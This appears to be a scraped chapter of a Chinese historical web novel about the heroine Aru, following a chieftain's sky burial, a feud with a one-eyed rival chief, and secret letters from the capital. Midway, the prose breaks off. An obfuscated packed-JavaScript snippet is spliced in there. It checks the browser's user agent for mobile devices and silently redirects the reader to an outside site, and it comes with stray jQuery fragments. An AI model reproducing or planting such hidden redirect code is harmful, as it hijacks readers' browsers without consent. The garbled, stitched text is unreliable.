三月初三。


    草原上冰雪初融，凌冽的西北风却劲。祁黎部的雪山依旧巍峨耸立，张开怀抱拥抱着每一个眷恋漠北的孩子。


    阿如已换上了哈腾特有的装扮，盛装遮住了她纤瘦的身形，唯那一双眼似泪非泪深邃如渊。


    上一次来这里的时候答伏尔许这天地任阿如驰骋，如今，他也算实现了诺言。


    漠北尚青，阿如穿一身青色翻领窄袖袍，头戴纯金鹰形冠，手捧狼旗，肃然站在天葬台下。


    台上是答伏尔的尸体，今天是为他举行葬礼的日子。


    一对雌雄猎隼打破沉默破空而来，绕着天葬台一圈圈地飞，时不时哀婉啾鸣。阿如抬眼去看，是答伏尔的夜和她自己的野。


    从答伏尔殒命那夜起，阿如就再也没见过这两只鹰，估摸着被萨比尔藏起来了。


    回头去看，果见萨比尔带着驯鹰的臂护，远远站在人群后头。


    这桩借刀杀人陆松鸣做得极隐蔽，从头到尾都未将阿如牵扯进来。阿如自信，凭萨比尔，寻不出什么破绽。


    阿如坦然看向萨比尔，人群便自动分开一条路：“您老真是难找。狼主的全身礼，我想着再没有谁能担此重任了。您既来了，就替我辛苦一趟吧。”


    萨比尔看着比先前苍老许多，走路都佝偻起来。他缓缓走到阿如跟前，声音沙哑道：“哈腾之命，不敢违抗。”


    说完，萨比尔接过阿如手里的狼旗，缓缓穿过人群，缓缓登上天葬台，缓缓将答伏尔的尸体右侧卧枕在羊羔皮上，缓缓起身向天空吹了一声鹰哨。


    霎时，早等在周围枯树上、乱石上的游鹰野隼齐齐冲向天葬台。鹰群振翅而起的风带起的枯叶，飞起后又晃悠悠落下，宛如失去生命的蝶。


    这是漠北人的向往，他们的血肉以一种奉献般的虔诚回归长生天，在那里，他们犹似鹰隼一样自由翱翔。


    唯有夜和野不愿下去啄食，它们绕着台子一圈圈的飞，一圈圈的啼。


    抬头看去，面前雪山苍凉圣洁，鹰群成阵。巍峨的雪山脚下，人竟是那样渺小，


    阿如想阖目缓一缓酸痛的眼眶，却不想一滴泪悄然滑落。


    答伏尔的时代终结了。


    有人请趁机举办新狼主的继任大典，阿如拒绝。


    虽然这个孩子先天不足看着瘦小，但他毕竟快五个月了，与新生的婴儿还是有很大区别。若被有心人看出来，又是一场风波。不如先养着，等大一些再见人。


    “敏阿察尚不足月，他知道什么？各位放心，敏阿察是狼主钦定的继承人，我自会请名师教导、大儒传授，待他18岁成人之时，便是继任狼主之日！”


    内有祖合热归顺，外有樊缨执掌甘州军，四部又都换成了亲哈腾的新首领，漠北已经尽归阿如囊中。


    接下来要做什么，她已经有了打算。


    黑水部的贺礼送到已经是两天之后，阿如料想宗义那独眼龙不会送什么像样的礼物。没想到叫元若去看，还是将元若唬了一跳。


    小心看向阿如，元若忙将盒子盖上，战战兢兢不说话，


    阿如没心情去看，问元若：“是什么？”


    “是……”元若磨蹭半晌，才靠近阿如耳朵，低声说了句，“是，是一个，不足月份的，死婴。”


    阿如顿时气炸，倒不是因为这份明显带着挑衅的礼物，而是那独眼龙专拿刀子往自己心窝里戳。


    这个仇算是记下了，可那日雪地落胎只有去寻她的樊缨知道，樊缨自会保守秘密，那这件事又是如何被宗义得知的？


    来时已与陆松鸣议定了对付黑水部的计划，如今看来，这个计划要提前了。


    “元若，”阿如挥手命人将盒子拿走，沉声吩咐道，“请达步过来。”


    太鲁部原来的俟斤是赤心，早死在阿如刀下，如今扶植了赤心外甥达步做俟斤，是个年龄与樊缨差不多的年轻人。身量差不多，气质也近，只是黑壮些，不如樊缨长得俊俏。


    “哈腾，”达步行礼，垂首问，“您有什么吩咐？”


    阿如一般有仇当场就报，一点不给宗义活路：“有劳首领，明日宰牛羊时单将牛羊眼剔出来，我要送一份大礼！”


    哪有人送礼送畜牲眼睛的？达步错愕半晌，又见阿如神情不似玩笑，才忙应了，轻轻退出来。


    门口元若见他一脸狐疑，善意提醒道：“俟斤不必惊讶，原样办就是了。跟着公主做事，不必刻意猜测她的心思，若有不满，公主会当面说出来的。”


    达步忙弯腰：“多谢姑娘提点。”


    果真，第二日一大早达步就送来一盆血淋淋的牲畜眼睛，足有三四十个。


    阿如掩鼻看了一眼，十分满意：“其心，你去送。必要他亲手打开方解我心头之恨！”


    是了，宗义缺了一只眼睛，阿如便偏要送他一堆畜牲眼。反正已经撕破脸，看究竟谁能气死谁！


    沈濯不敢耽误，立刻动身东去。元若手上捧着陆松鸣的密信进来，正与他擦肩而过。


    “殿下，”元若上前，“是大首领的信。”


    阿如心上一喜，忙打开，不是陆松鸣的亲笔信，但盖了他的私印，应当是京都传消息的人写的。里头详细写了京都最近的消息，自官员调动到市井生活，十分详实。


    阿如一一看过去，在“温重离京前赴宴曲江水榭，同席者……贺珵……”一句停下来。


    “贺珵？”阿如不由生疑，贺珵身为商贾，居然能混进郎君们的宴席。


    贺家的生意遍布天下，西边贺征掌管与西域一众小国的陆上交易，东边与倭国的海上交易则尽归贺珵。他虽是商人，可他夫人出身市舶司，相当于一只脚已经迈进官场，也难怪能出席这样的宴席。


    只是这个人立场明确并非盟友，若再搭上温重那个冷脸判官，恐怕以后是敌非友了。


    “殿下，怎么了？”元若见她蹙眉不说话，担心问，“可是京中有什么坏消息？”


    阿如摇头，顺手将那张纸折起来：“你指的是什么？”


    元若盯着阿如手里的纸：“没，没什么……”


    元若很少这样，阿如不由生疑，停下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861723|158003||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    手里的动作：“说。”


    “我……”元若忙跪下去，垂头说道，“殿下，我，我还有个弟弟……十岁那年便送去京都，做了，挽郎……”


    陆松鸣没提过这件事，阿如正疑惑，元若忙又说：“大首领，大首领不许我提起他更不许我找他，说他已经换了身份。可是，他是我唯一的亲人了。殿下，求求您，让我看看信，知道他的还好的消息，行吗？”


    原来是这样，阿如将那张纸又打开，正反看了两遍不觉得有什么隐藏信息，疑惑递给元若：“你是说，这里有他的消息？”


    元若如获至宝，忙接过去对着亮光一看，脸上露出如释重负是神情：“殿下，您看。”


    元若指着藏在陆松鸣私章底下的一个小小的红色小点给阿如看：“这是大首领定的暗语，若元夕平安无恙，就在私章下点个红点。我若回信，也须封章子，咱们在京都里的人会替我传达。”


    阿如明白了，陆松鸣这是将两姐弟互为“人质”，就算他们不是踏沙部的人，元若为了弟弟的安全也会心甘情愿替陆松鸣做事。


    他弟弟想来也不会不顾姐姐的安危。


    原来这就是樊缨说的死士。


    那当年养母陆氏，又有什么把柄握在陆松鸣手里呢？


    “你要回信吗？”阿如心知陆松鸣此事做得无错，只是推己及人，不由心疼元若日夜为弟弟悬心，和蔼问了句，“若想回信，我替你签章。”


    元若受宠若惊，忙俯身感谢：“多谢殿下，多谢殿下！”


    倒不全是为了收服元若，阿如确实有几分真心帮她。也是为了那个视自己如己出的养母，虽然她没有阿依慕那样显赫的身份，可对阿如来说，她远比阿依慕更像母亲。


    元若果真写了封情真意切的问候信，阿如扫了一眼示意她封起来，在信封上盖上了自己的私章。


    十天后收到信的人一看到这枚私章，便急匆匆将信送到了曲江池边的“牡丹春”。


    牡丹春是京都有名的酒肆，老板是个西域女子，名叫灵娘，酿得一手美味三勒浆。


    “这是？”


    灵娘盯着信上“穆九如”三个字，只觉有些不真实，时光溯回，将她带到十七年前的那个冬夜。


    “她随我姓穆，叫九如。带出宫去把她养大，从此她就是你的女儿……”


    “公主！公主！”


    “快走！该怎么做，孤奴会告诉你！”


    “阿娘，再推高一点儿，再高一点儿……”


    尘封的往事催出泪来，灵娘低头再看，信封上猩红的私章已经被泪水打湿，开出艳丽的花来：“是我的如儿……”


    再次收到京都的消息是半个月后，陆松鸣的私章下还有那个小小的红点，但整封信都笼罩着一股淡淡的味道，像阿如小时候院子里晒着的酒糟发出的略带酒酸的发酵味。


    “酒糟味？”


    阿如怔住，这个味道她太熟悉了，小时候几乎如影随形。


    可东府巷不是被烧了么？


    还是杨从，或者曹氏母女，他们还活着？